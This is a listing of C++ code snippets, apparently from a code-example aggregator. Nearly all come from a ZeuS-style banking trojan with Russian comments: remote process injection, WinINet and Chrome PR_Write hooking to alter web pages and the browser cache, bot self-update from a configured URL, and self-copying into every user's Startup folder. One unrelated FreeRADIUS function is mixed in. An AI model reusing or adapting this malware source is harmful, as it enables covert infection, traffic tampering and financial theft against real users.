示例#1
0
/*
  Инжектирование кода в конкретный процесс.

  IN pid           - ID процесса.
  IN processMutex  - мютекс процесса.
  IN proccessFlags - данные для нового coreData.proccessFlags, текщие данные наследуются по маске
                     Core::CDPT_INHERITABLE_MASK.

  Return           - true - в случаи успеха,
                     false - в случаи ошибки.
*/
static bool injectMalwareToProcess(DWORD pid, HANDLE processMutex, DWORD proccessFlags)
{
  bool ok = false;

  HANDLE process = CWA(kernel32, OpenProcess)(PROCESS_QUERY_INFORMATION |
                                              PROCESS_VM_OPERATION |
                                              PROCESS_VM_WRITE |
                                              PROCESS_VM_READ |
                                              PROCESS_CREATE_THREAD |
                                              PROCESS_DUP_HANDLE,
                                              FALSE, pid);

  if(process != NULL)
  {
    void *newImage = Core::initNewModule(process, processMutex, proccessFlags);
    if(newImage != NULL)
    {
      LPTHREAD_START_ROUTINE proc = (LPTHREAD_START_ROUTINE)((LPBYTE)newImage + (DWORD_PTR)((LPBYTE)Core::_injectEntryForThreadEntry - (LPBYTE)coreData.modules.current));
	  
	  HANDLE thread = CWA(kernel32, CreateRemoteThread)(process, NULL, 0, proc, NULL, 0, NULL);

      if(thread != NULL)
      {
	#   if(BO_DEBUG > 0)
        WDEBUG2(WDDT_INFO, "newImage=0x%p, thread=0x%08X", thread, proc);
	#endif
        if(CWA(kernel32, WaitForSingleObject)(thread, 10 * 1000) != WAIT_OBJECT_0)
        {
			#   if(BO_DEBUG > 0)
          WDEBUG2(WDDT_WARNING, "Failed to wait for thread end, newImage=0x%p, thread=0x%08X", newImage, thread);
			#endif	
        }
        CWA(kernel32, CloseHandle)(thread);
        ok = true;
      }
      else
      {
		#   if(BO_DEBUG > 0)
        WDEBUG1(WDDT_ERROR, "F****d up with id=%u.", pid);
		#endif
        CWA(kernel32, VirtualFreeEx)(process, newImage, 0, MEM_RELEASE);
      }
    }
#   if(BO_DEBUG > 0)
    else WDEBUG1(WDDT_ERROR, "Failed to alloc code in process with id=%u.", pid);
#   endif

    CWA(kernel32, CloseHandle)(process);
  }
#if(BO_DEBUG > 0)
  else WDEBUG1(WDDT_ERROR, "Failed to open process with id=%u.", pid);
#endif

  return ok;
}
示例#2
0
bool CoreInstall::_loadInstalledData(const void *overlay, DWORD overlaySize)
{
  //Получаем PESETTINGS. Преднамерено не проверяем ошибки.
  Mem::_copy(&coreData.peSettings, overlay, sizeof(PESETTINGS));

  PESETTINGS ps;
  Core::getPeSettings(&ps);

  //Проверяем.
  WDEBUG5(WDDT_INFO, "Current OS guid {%08X-%04X-%04X-%08X%08X}.", ps.guid.Data1, ps.guid.Data2, ps.guid.Data3, *((LPDWORD)&ps.guid.Data4[0]), *((LPDWORD)&ps.guid.Data4[4]));
  if(Mem::_compare(&coreData.osGuid, &ps.guid, sizeof(GUID)) == 0)
  {
    //Проверяем пути.
    int coreLenght = Str::_LengthW(coreData.paths.process);
    int homeLenght = Str::_LengthW(coreData.paths.home);
    WCHAR coreFile[sizeof(ps.userPaths.coreFile) / sizeof(char)];

    Str::_ansiToUnicode(ps.userPaths.coreFile, -1, coreFile, sizeof(coreFile) / sizeof(WCHAR));

    if(coreLenght > homeLenght && coreData.paths.process[homeLenght] == '\\' &&
       CWA(shlwapi, StrCmpNIW)(coreData.paths.home, coreData.paths.process, homeLenght) == 0 && //Файл запушен из домшней директории.
       CWA(kernel32, lstrcmpiW)(coreFile, coreData.paths.process + homeLenght + 1) == 0) //Файл запушен из номарльного пути домашней директории.
    {
      //Номарльный запуск.
      return true;
    }
#   if(BO_DEBUG > 0)
    else WDEBUG2(WDDT_ERROR, "Bad paths coreData.paths.process=%s, coreData.paths.home=%s.", coreData.paths.process, coreData.paths.home);
#   endif
  }
# if(BO_DEBUG > 0)
  else WDEBUG0(WDDT_ERROR, "Bad OS/User guid.");
# endif
  return false;
}
示例#3
0
BOOL WINAPI WininetHook::hookerInternetCloseHandle(HINTERNET handle)
{
#if defined WDEBUG0
  WDEBUG0(WDDT_INFO, "Called");
#endif
  
  //Закрытие хэндла прерывает чтение данных из других потоков.
  BOOL r = CWA(wininet, InternetCloseHandle)(handle);

  if(Core::isActive())//Возможна небольшая утечка памяти.
  {
    CWA(kernel32, EnterCriticalSection)(&connectionsCs);
    DWORD connectionIndex = connectionFind(handle);
    if(connectionIndex != (DWORD)-1)
    {
      connectionRemove(connectionIndex);
#     if defined WDEBUG2
      WDEBUG2(WDDT_INFO, "Connection 0x%p removed from table, current connectionsCount=%u.", handle, connectionsCount);
#     endif
    }
    CWA(kernel32, LeaveCriticalSection)(&connectionsCs);
  }

  return r;
}
示例#4
0
/*
  Перехватывает все WinApi из списка

  IN process            - процесс.
  IN OUT list           - список.
  IN count              - кол. эелементов.
  IN realCount          - кол. эелементов, должны быть равны. Смысл это понятен в коде.

  Return                - true - если перехвачены все WinApi,
                          false - если не перехвачена хотя бы одна WinAPI.
*/
static bool hookList(HANDLE process, HOOKWINAPI *list, DWORD count, DWORD realCount)
{
  //Страхуемся.
  if(count != realCount)
  {
#   if defined WDEBUG2
    WDEBUG2(WDDT_ERROR, "count != realCount, %u != %u", count, realCount);
#   endif
    return false;
  }

  //Обнуляем структуру на всякий случай.
  for(DWORD i = 0; i < count; i++)
  {
    if(list[i].functionForHook == NULL)
    {
#     if defined WDEBUG1
      WDEBUG1(WDDT_ERROR, "NULL WinApi founded at index %u", i);
#     endif
      return false;
    }
    list[i].originalFunction    = NULL;
    list[i].originalFunctionSize = 0;
  }
  
  LPBYTE opcodesBuf = (LPBYTE)WaHook::_allocBuffer(process, count);
  if(opcodesBuf != NULL)
  {
    //Ставим хуки.    
    DWORD i = 0;
    for(; i < count; i++)
    {
      DWORD curOpcodesSize = WaHook::_hook(process, list[i].functionForHook, list[i].hookerFunction, opcodesBuf, hotPatchCallback);
      if(curOpcodesSize == 0)
      {
#      if defined WDEBUG1
        WDEBUG1(WDDT_ERROR, "Failed to hook WinApi at index %u", i);
#       endif
        break;
      }
      
      list[i].originalFunction     = opcodesBuf;
      list[i].originalFunctionSize = curOpcodesSize;
      
      opcodesBuf += curOpcodesSize;
    }

    if(i == count)return true;
      
    //Снимаем хуки.
    unhookList(process, list, count);
  }
  
  return false;
}
示例#5
0
DWORD Process::_create(const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi)
{
    //The Unicode version of this function, CreateProcessW, can modify the contents of this string.
    WCHAR zeroStr[1];
    zeroStr[0] = 0;

    {
        STARTUPINFOW defaultStartupInfo;
        PROCESS_INFORMATION info;

        if(starupInfo == NULL)
        {
            Mem::_zero(&defaultStartupInfo, sizeof(STARTUPINFOW));
            defaultStartupInfo.cb = sizeof(STARTUPINFOW);
        }

#   if defined WDEBUG2
        WDEBUG2(WDDT_INFO, "module=[%s], commandLine=[%s]", module, commandLine);
#   endif

        if(CWA(kernel32, CreateProcessW)(module,
                                         commandLine == NULL ? zeroStr : commandLine,
                                         NULL,
                                         NULL,
                                         FALSE,
                                         CREATE_DEFAULT_ERROR_MODE,
                                         NULL,
                                         workDir,
                                         starupInfo == NULL ? &defaultStartupInfo : (STARTUPINFOW *)starupInfo,
                                         &info
                                        ) != FALSE)
        {
            if(pi != NULL)
            {
                Mem::_copy(pi, &info, sizeof(PROCESS_INFORMATION));
            }
            else
            {
                CWA(kernel32, CloseHandle)(info.hThread);
                CWA(kernel32, CloseHandle)(info.hProcess);
            }

            return info.dwProcessId;
        }
#   if defined WDEBUG0 && BO_DEBUG > 0
        else WDEBUG0(WDDT_ERROR, "Failed.");
#   endif
    }
    return 0;
}
示例#6
0
static size_t sqlcounter_expand(char *out, int outlen, char const *fmt, rlm_sqlcounter_t *inst)
{
	int c, freespace;
	char const *p;
	char *q;
	char tmpdt[40]; /* For temporary storing of dates */

	q = out;
	for (p = fmt; *p ; p++) {
		/* Calculate freespace in output */
		freespace = outlen - (q - out);
		if (freespace <= 1) {
			return -1;
		}
		c = *p;
		if (c != '%') {
			*q++ = *p;
			continue;
		}
		if (*++p == '\0') break;
		if (c == '%') switch(*p) {
			case 'b': /* last_reset */
				snprintf(tmpdt, sizeof(tmpdt), "%" PRId64, (int64_t) inst->last_reset);
				strlcpy(q, tmpdt, freespace);
				q += strlen(q);
				break;
			case 'e': /* reset_time */
				snprintf(tmpdt, sizeof(tmpdt), "%" PRId64, (int64_t) inst->reset_time);
				strlcpy(q, tmpdt, freespace);
				q += strlen(q);
				break;
			case 'k': /* Key Name */
				WDEBUG2("Please replace '%%k' with '${key}'");
				strlcpy(q, inst->key_name, freespace);
				q += strlen(q);
				break;
			default:
				*q++ = '%';
				*q++ = *p;
				break;
		}
	}
	*q = '\0';

	DEBUG2("sqlcounter_expand: '%s'", out);

	return strlen(out);
}
示例#7
0
bool SetSSLHook(HMODULE moduleHandle)
{
	DWORD Chrome32Size = (DWORD)Disasm::GetModuleSize(moduleHandle);
	DWORD ChromeDLL = (DWORD)GetModuleHandleW(L"chrome.dll");
	WDEBUG2(WDDT_INFO, "Chrome32Size=\"0x%08X\", ChromeDLL=\"%u\"", Chrome32Size, ChromeDLL);
	

	if (!Chrome32Size){
		MessageBoxA(NULL,(LPCSTR)"err",(LPCSTR)"569",MB_OK);
		return false;
	}
	if (!ChromeDLL){
		MessageBoxA(NULL,(LPCSTR)"NULL 573 l",(LPCSTR)"sd",MB_OK);
		return false;
	}
	char* Sign="\x55\x8B\xEC\xFF\x75\x10\x8B\x45\x08\xFF\x75\x0C\x8B\x08\x50\xFF\x51\x0C\x83";// Сигнатура PR_Write
	char* Mask="xxxxxxxxxxxxxxxxxxx";
    DWORD PR_Writeaddr = Disasm::FindPattern(ChromeDLL,Chrome32Size,(BYTE*)Sign,Mask);
	WDEBUG1(WDDT_INFO, "PR_Writeaddr=\"0x%08X\"", PR_Writeaddr);
	WDEBUG1(WDDT_INFO, "PR_WriteTrampaddr=\"0x%08X\"", (void*)Hooked_PR_Write_tramp);

	if (!PR_Writeaddr) {
		MessageBoxA(NULL,(LPCSTR)"NULL 580 l",(LPCSTR)"sd",MB_OK);
		return false;
	}


	LPBYTE opcodesBuf = (LPBYTE)WaHook::_allocBuffer(GetCurrentProcess(), 1);
	  if(opcodesBuf != NULL)
	  {
		
		  DWORD curOpcodesSize = WaHook::_hook(GetCurrentProcess(), (void*)PR_Writeaddr, Hooked_PR_Write_tramp, opcodesBuf, hotPatchCallback);
		  if(curOpcodesSize == 0)
		  {
	#      if defined WDEBUG1
			WDEBUG0(WDDT_ERROR, "SETSSLHOOK FAILED!!!");
	#      endif
		  }
      
		  ChromeHook.buffer = opcodesBuf;

	  }


	return true;
}
示例#8
0
DWORD _GetFuncAddress(LPWSTR module, char* sign, char* mask)
{
	HMODULE hModule = GetModuleHandleW(module);
	DWORD moduleSize = (DWORD)Disasm::GetModuleSize(hModule);
	WDEBUG2(WDDT_INFO, "moduleSize=\"0x%08X\", hModule=\"%u\"", moduleSize, (DWORD)hModule);

	if (!moduleSize){
		MessageBoxA(NULL,(LPCSTR)"err",(LPCSTR)"569",MB_OK);
		return 0;
	}
	if (!hModule){
		MessageBoxA(NULL,(LPCSTR)"NULL 573 l",(LPCSTR)"sd",MB_OK);
		return 0;
	}
	
    DWORD PR_Writeaddr = Disasm::FindPattern((DWORD)hModule,moduleSize,(BYTE*)sign,mask);
	return PR_Writeaddr;
}
示例#9
0
BOOL WINAPI WininetHook::hookerHttpQueryInfoA(HINTERNET request, DWORD infoLevel, LPVOID buffer, LPDWORD bufferLength, LPDWORD index)
{
#if defined WDEBUG2
  WDEBUG2(WDDT_INFO, "Called, infoLevel=%u (0x%08X)", infoLevel, infoLevel);
#endif

  if(Core::isActive())
  {
    CWA(kernel32, EnterCriticalSection)(&connectionsCs);
    DWORD connectionIndex = connectionFind(request);
    if(connectionIndex != (DWORD)-1 && HttpGrabber::_isFakeData(connections[connectionIndex].injects, connections[connectionIndex].injectsCount))
    {
      request = connections[connectionIndex].fakeRequest;
    }
    CWA(kernel32, LeaveCriticalSection)(&connectionsCs);
  }

  return CWA(wininet, HttpQueryInfoA)(request, infoLevel, buffer, bufferLength, index);
}
示例#10
0
static DWORD WINAPI proc(void *)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_DYNAMIC_CONFIG, MalwareTools::KON_GLOBAL);
  if(mutex == NULL)
  {
    WDEBUG0(WDDT_ERROR, "Failed");
    return 1;
  }

  WDEBUG0(WDDT_INFO, "Started.");

  //Получем время ожидания.
  DWORD normalDelay;
  DWORD errorDelay;
  DWORD delay;
  
  {
    BASECONFIG baseConfig;
    Core::getBaseConfig(&baseConfig);
  
    normalDelay = HIWORD(baseConfig.delayConfig) * 60 * 1000;
    errorDelay  = LOWORD(baseConfig.delayConfig) * 60 * 1000;
  
    Mem::_zero(&baseConfig, sizeof(BASECONFIG));
  }
  
  //Цикл.
  if(Core::isActive())
  {
    WDEBUG2(WDDT_INFO, "normalDelay=%u, errorDelay=%u", normalDelay, errorDelay);
    do
    {
      delay = DynamicConfig::download(NULL) ? normalDelay : errorDelay;
    }
    while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, delay) == WAIT_TIMEOUT);
  }
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  Sync::_freeMutex(mutex);

  return 0;
}
示例#11
0
/*
  Загрузка обвнолвения бота, используя данные из текущей конфигурации.

  IN force - форсировать обновление бота, независимво от версии.

  Return   - true - обновление успешно запущено,
             false - произошла ошибка.
*/
static bool tryToUpdateBot(bool force)
{
  bool retVal = false;;
  BinStorage::STORAGE *currentConfig = DynamicConfig::getCurrent();
  if(currentConfig != NULL)
  {
    DWORD version;
    if(BinStorage::_getItemDataAsDword(currentConfig, CFGID_LAST_VERSION, BinStorage::ITEMF_IS_OPTION, &version) &&
       (version > BO_CLIENT_VERSION || (force == true && version >= BO_CLIENT_VERSION)))
    {
      LPSTR url = (LPSTR)BinStorage::_getItemDataEx(currentConfig, CFGID_LAST_VERSION_URL, BinStorage::ITEMF_IS_OPTION, NULL);
      if(url != NULL)
      {
        WCHAR tempFile[MAX_PATH];
        LPWSTR ext = FILEEXTENSION_EXECUTABLE;
        if(Fs::_createTempFileEx(NULL, ext + 1, tempFile))
        {
          WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", url, tempFile);
		  MEMDATA memData;
		  
          if(newDownloader(url, &memData) && Fs::_saveToFile(tempFile,memData.data,memData.size))
          {
            DWORD pid = Process::_createEx(tempFile, force ? L"-f" : NULL, NULL, NULL, NULL);
#           if(BO_DEBUG > 0)
            if(pid == 0)WDEBUG0(WDDT_ERROR, "Failed to run new version of bot.");
            else WDEBUG1(WDDT_INFO, "PID of new bot is %u.", pid);
#           endif
            if(pid != 0)retVal = true;
          }
#         if(BO_DEBUG > 0)
          else WDEBUG0(WDDT_ERROR, "Failed to download the bot.");
#         endif

          Fs::_removeFile(tempFile);
        }
        Mem::free(url);
      }
    }
    Mem::free(currentConfig);
  }
  return retVal;
}
示例#12
0
/*
	Проверка запроса на необходимость инжекта.

	IN OUT requestData - запрос.

	Return             - true - инжекты применины,
	false - инжекты не применены
*/
static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData)
{
	if(requestData->currentConfig == NULL)return false;

	DWORD listSize;
	LPBYTE list = (LPBYTE)BinStorage::_getItemDataEx(requestData->currentConfig, CFGID_HTTP_INJECTS_LIST, BinStorage::ITEMF_IS_OPTION, &listSize);

	requestData->injectsCount = 0;
	requestData->injects      = NULL;

	if(list != NULL && listSize > sizeof(HttpInject::HEADER))
	{
		WORD knownFlags               = requestData->verb == HttpGrabber::VERB_POST ? HttpInject::FLAG_REQUEST_POST : HttpInject::FLAG_REQUEST_GET;
		DWORD index                   = 0;
		HttpInject::HEADER *curInject = (HttpInject::HEADER *)list;
		LPBYTE endOfList              = list + listSize;

		while(HttpInject::_isCorrectHeader(curInject))
		{
			LPSTR p          = (LPSTR)curInject; //Переменная для легокого доступа к строкам.
			LPSTR urlMask    = p + curInject->urlMask;
			DWORD matchFlags = curInject->flags &  HttpInject::FLAG_URL_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;

			if((curInject->flags & knownFlags) == knownFlags && HttpGrabber::_matchUrlA(urlMask, requestData->url, requestData->urlSize, matchFlags))
			{
				//Проверяем пост-данные.
				if(curInject->postDataBlackMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataBlackMask, (LPSTR)requestData->postData, requestData->postDataSize) == true)
				{
					goto SKIP_ITEM;
				}
				if(curInject->postDataWhiteMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataWhiteMask, (LPSTR)requestData->postData, requestData->postDataSize) == false)
				{
					goto SKIP_ITEM;
				}


				//Все хорошо, собираем данные.
				{
					HttpGrabber::INJECTFULLDATA ifd;
#if defined WDEBUG2
					WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, urlMask);
#endif
					Mem::_zero(&ifd, sizeof(HttpGrabber::INJECTFULLDATA));

					ifd.flags       = curInject->flags;
					ifd.urlMask     = Str::_CopyExA(p + curInject->urlMask, -1);
					ifd.contextMask = curInject->contextMask == 0 ? NULL : Str::_CopyExA(p + curInject->contextMask, -1);
					

					if(curInject->flags & (HttpInject::FLAG_IS_INJECT | HttpInject::FLAG_IS_CAPTURE))
					{
						if((ifd.injects = (HttpInject::INJECTBLOCK *)BinStorage::_getItemDataEx(requestData->currentConfig, 1 + index, BinStorage::ITEMF_IS_HTTP_INJECT, &ifd.injectsSize)) != NULL &&
							HttpInject::_isCorrectBlockList(ifd.injects, ifd.injectsSize) &&
							Mem::reallocEx(&requestData->injects, sizeof(HttpGrabber::INJECTFULLDATA) * (requestData->injectsCount + 1)))
						{
							Mem::_copy(&requestData->injects[requestData->injectsCount++], &ifd, sizeof(HttpGrabber::INJECTFULLDATA));
						}
						else
						{
#if defined WDEBUG0
							WDEBUG0(WDDT_ERROR, "Current configuration corrupted!");
#endif

							Mem::free(ifd.injects);
							HttpGrabber::_freeInjectFullData(&ifd);

							_freeInjectFullDataList(requestData->injects, requestData->injectsCount);
							requestData->injectsCount = 0;
							break;
						}
					}
					//Неизвестно.
					else 
					{
						HttpGrabber::_freeInjectFullData(&ifd);
#if defined WDEBUG1
						WDEBUG1(WDDT_ERROR, "Unknown inject detected, curInject->flags=0x%08X!", curInject->flags);
#endif
					}
				}

SKIP_ITEM:;
			}

			//Вычисляем следующий элемент.
			curInject = (HttpInject::HEADER *)(((LPBYTE)curInject) + curInject->size);
			if(((LPBYTE)curInject) + sizeof(HttpInject::HEADER) > endOfList || ((LPBYTE)curInject) + curInject->size > endOfList)break;
			index++;
		}
	}

	Mem::free(list);
	return (requestData->injectsCount > 0);
}
示例#13
0
DWORD Process::_createAsUser(HANDLE token, const LPWSTR desktop, const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi)
{
    typedef BOOL (WINAPI *CREATEENVIRONMENTBLOCK)(LPVOID *environment, HANDLE token, BOOL inherit);
    typedef BOOL (WINAPI *DESTROYENVIRONMENTBLOCK)(LPVOID environment);

# if defined WDEBUG2
    WDEBUG2(WDDT_INFO, "module=[%s], commandLine=[%s]", module, commandLine);
# endif

    bool retVal = 0;
    HMODULE dll = CWA(kernel32, LoadLibraryA)("userenv.dll");
    if(dll != NULL)
    {
        CREATEENVIRONMENTBLOCK createEnvironmentBlock   = (CREATEENVIRONMENTBLOCK)CWA(kernel32, GetProcAddress)(dll, "CreateEnvironmentBlock");
        DESTROYENVIRONMENTBLOCK destroyEnvironmentBlock = (DESTROYENVIRONMENTBLOCK)CWA(kernel32, GetProcAddress)(dll, "DestroyEnvironmentBlock");
        if(createEnvironmentBlock != NULL && destroyEnvironmentBlock != NULL)
        {
            //Create an environment variable.
            void *environment = NULL;
            if(createEnvironmentBlock(&environment, token, FALSE) == FALSE)environment = NULL; //Paranoia.

            //Create a process full of analogue create ().
            {
                WCHAR zeroStr[1];
                zeroStr[0] = 0;

                {
                    STARTUPINFOW defaultStartupInfo;
                    PROCESS_INFORMATION info;

                    if(starupInfo == NULL)
                    {
                        Mem::_zero(&defaultStartupInfo, sizeof(STARTUPINFOW));
                        defaultStartupInfo.cb        = sizeof(STARTUPINFOW);
                        defaultStartupInfo.lpDesktop = (LPWSTR)desktop;
                    }

                    if(CWA(advapi32, CreateProcessAsUserW)(token,
                                                           module,
                                                           commandLine == NULL ? zeroStr : commandLine,
                                                           NULL,
                                                           NULL,
                                                           FALSE,
                                                           CREATE_DEFAULT_ERROR_MODE | (environment == NULL ? 0 : CREATE_UNICODE_ENVIRONMENT),
                                                           environment,
                                                           workDir,
                                                           starupInfo == NULL ? &defaultStartupInfo : (STARTUPINFOW *)starupInfo,
                                                           &info
                                                          ) != FALSE)
                    {
                        if(pi != NULL)
                        {
                            Mem::_copy(pi, &info, sizeof(PROCESS_INFORMATION));
                        }
                        else
                        {
                            CWA(kernel32, CloseHandle)(info.hThread);
                            CWA(kernel32, CloseHandle)(info.hProcess);
                        }

                        retVal = info.dwProcessId;
                    }
                }
            }

            if(environment != NULL)destroyEnvironmentBlock(environment);
        }

        CWA(kernel32, FreeLibrary)(dll);
    }

# if defined WDEBUG0 && BO_DEBUG > 0
    if(retVal == 0)WDEBUG0(WDDT_ERROR, "Failed.");
# endif

    return retVal;
}
示例#14
0
/*
  Операции производимые в момент чтения HTTP-ответа.
  
  IN OUT request         - хэндл запроса.
  OUT buffer             - буфер для считаных данных. NULL - для возврата достпуного размера.
  IN numberOfBytesToRead - размер буфера.
  OUT numberOfBytesRead  - кол. прочитаных байт.

  Return                 - (-1) - вызвать стандартную функцию чтения.
                           В другом случаи, вернуть вместо вызова стандартной функции, это значение.
*/
static int onInternetReadFile(HINTERNET *request, void *buffer, DWORD numberOfBytesToRead, LPDWORD numberOfBytesRead)
{
  int retVal = -1;
  CWA(kernel32, EnterCriticalSection)(&connectionsCs);
  DWORD connectionIndex = connectionFind(*request);

  if(connectionIndex != (DWORD)-1 && connections[connectionIndex].injectsCount > 0)
  {
    WININETCONNECTION *wc = &connections[connectionIndex];

    if(HttpGrabber::_isFakeData(wc->injects, wc->injectsCount))
    {
      /*
      DWORD newContext     = 0;
      DWORD newContextSize = sizeof(DWORD_PTR);
      if(CWA(wininet, InternetQueryOptionA)(*request, INTERNET_OPTION_CONTEXT_VALUE, &newContext, &newContextSize) == TRUE)
      {
        CWA(wininet, InternetSetOptionA)(wc->fakeRequest, INTERNET_OPTION_CONTEXT_VALUE, &newContext, newContextSize);
      }
      */
      *request = wc->fakeRequest;
    }
    else
    {
      if(numberOfBytesRead != NULL)*numberOfBytesRead = 0;

      //Инжект еще не применен.
      if(wc->contentSize == (DWORD)-1)
      {
        LPBYTE contextBuffer;
        DWORD contextBufferSize;
        
        //Читаем и подменяем содержимое.
        bool ok;
        {
          HANDLE readEvent = wc->readEvent;
          CWA(kernel32, LeaveCriticalSection)(&connectionsCs);
          ok = readAllContext(*request, readEvent, &contextBuffer, &contextBufferSize);
          CWA(kernel32, EnterCriticalSection)(&connectionsCs);
        }
        
        //Переполучаем данные соединения.
        if(ok == false || (connectionIndex = connectionFind(*request)) == (DWORD)-1)
        {
          if(ok)Mem::free(contextBuffer);
          retVal = (int)FALSE;
          CWA(kernel32, SetLastError)(ERROR_INTERNET_INTERNAL_ERROR);
        }
        else
        {
          wc = &connections[connectionIndex];

          DWORD urlSize;
          LPSTR url = (LPSTR)Wininet::_queryOptionExA(*request, INTERNET_OPTION_URL, &urlSize);
          if(HttpGrabber::_executeInjects(url, &contextBuffer, &contextBufferSize, wc->injects, wc->injectsCount))
          {
            //Подменяем кэш.              
            LPWSTR urlW = Str::_ansiToUnicodeEx(url, urlSize);
            if(urlW != NULL)
            {
              DWORD cacheSize = 4096;
              INTERNET_CACHE_ENTRY_INFOW *cacheEntry = (INTERNET_CACHE_ENTRY_INFOW *)Mem::alloc(cacheSize);

              if(cacheEntry != NULL)
              {
                cacheEntry->dwStructSize = sizeof(INTERNET_CACHE_ENTRY_INFOW);
                if(CWA(wininet, GetUrlCacheEntryInfoW)(urlW, cacheEntry, &cacheSize) && cacheEntry->lpszLocalFileName && *cacheEntry->lpszLocalFileName != 0)
                {
                  Fs::_saveToFile(cacheEntry->lpszLocalFileName, contextBuffer, contextBufferSize);
#                 if defined WDEBUG2
                  WDEBUG2(WDDT_INFO, "Changed local cache urlW=\"%s\", cacheEntry->lpszLocalFileName=\"%s\"", urlW, cacheEntry->lpszLocalFileName);
#                 endif
                }
                Mem::free(cacheEntry);
              }
              Mem::free(urlW);
            }
          }
          Mem::free(url);

          wc->context     = contextBuffer;
          wc->contentSize = contextBufferSize;
        }
      }

      //Инжект применены, отдаем его результаты.
      if(wc->contentSize != (DWORD)-1 && retVal == -1)
      {
        DWORD maxSize = wc->contentSize - wc->contentPos;
        if(maxSize > 0)
        {
          if(buffer == NULL)numberOfBytesToRead = Crypt::mtRandRange(4096, 8192);
          if(numberOfBytesToRead < maxSize)maxSize = numberOfBytesToRead;

          if(buffer != NULL)
          {
            Mem::_copy(buffer, wc->context + wc->contentPos, maxSize);
            wc->contentPos += maxSize;
          }
        }

        if(numberOfBytesRead != NULL)*numberOfBytesRead = maxSize;
        retVal = (int)TRUE;
      }
    }
  }
  CWA(kernel32, LeaveCriticalSection)(&connectionsCs);

  return retVal;
}
示例#15
0
bool CoreInstall::_installToAll(void)
{
  //Получаем предположительный путь для Startup директории.
  WCHAR startupPath[MAX_PATH];
  {
    typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size);
    
    bool ok = false;
    HMODULE dll;
    {
      CSTR_GETW(dllName, module_userenv)
      dll = CWA(kernel32, LoadLibraryW)(dllName);
    }
    
    if(dll != NULL)
    {
      GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory;
      {
        CSTR_GETA(func, userenv_getdefuserprofiledir);
        getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func);
      }
      
      if(getDefaultUserProfileDirectory != NULL)
      {
        WCHAR defaultUserRoot[MAX_PATH];
        DWORD size = MAX_PATH;
    
        if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE)
        {
          if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
          {
            size = Str::_LengthW(defaultUserRoot);
            if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0)
            {
              Str::_CopyW(startupPath, startupPath + size, -1);
              WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath);
              ok = true;
            }
#           if(BO_DEBUG > 0)
            else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder.");
#           endif 
          }
#         if(BO_DEBUG > 0)
          else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed.");
#         endif 
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed.");
#       endif 
      }
#     if(BO_DEBUG > 0)
      else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded.");
#     endif 
      CWA(kernel32, FreeLibrary)(dll);
    }
#   if(BO_DEBUG > 0)
    else WDEBUG0(WDDT_ERROR, "userenv.dll not founded.");
#   endif 

    if(!ok)return false;
  }
  
  //Получаем список полозователей.
  bool ok = false;
  DWORD handle = 0;
  NET_API_STATUS status;
  
  do
  {
    /*
      Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN
      написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем 
      большой индуский ХУЙ!
    */

    DWORD readed;
    DWORD total;
    USER_INFO_0 *buf0 = NULL;
    status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle);

    if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL)
    {
      USER_INFO_23 *buf23;
      for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL)
      {
        //Получаем директорию Startup.
        WCHAR profileDir[MAX_PATH];
        if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL))
        {
          WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir);

          //Делаем копию себя в профиль пользователя.
          WCHAR fileName[MAX_PATH];
          if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))
          {
            WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName);
            ok = true;
            
            //Пытаемся запустить процесс.
            tryToRunForActiveSessions(buf23->usri23_user_sid, fileName);
          }
#         if(BO_DEBUG > 0)
          else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name);
#         endif
        }
        CWA(neteapi32, NetApiBufferFree)(buf23);
      }
      CWA(neteapi32, NetApiBufferFree)(buf0);
    }
  }
  while(status == ERROR_MORE_DATA);

  //Ну и копируем в себя в Default User.
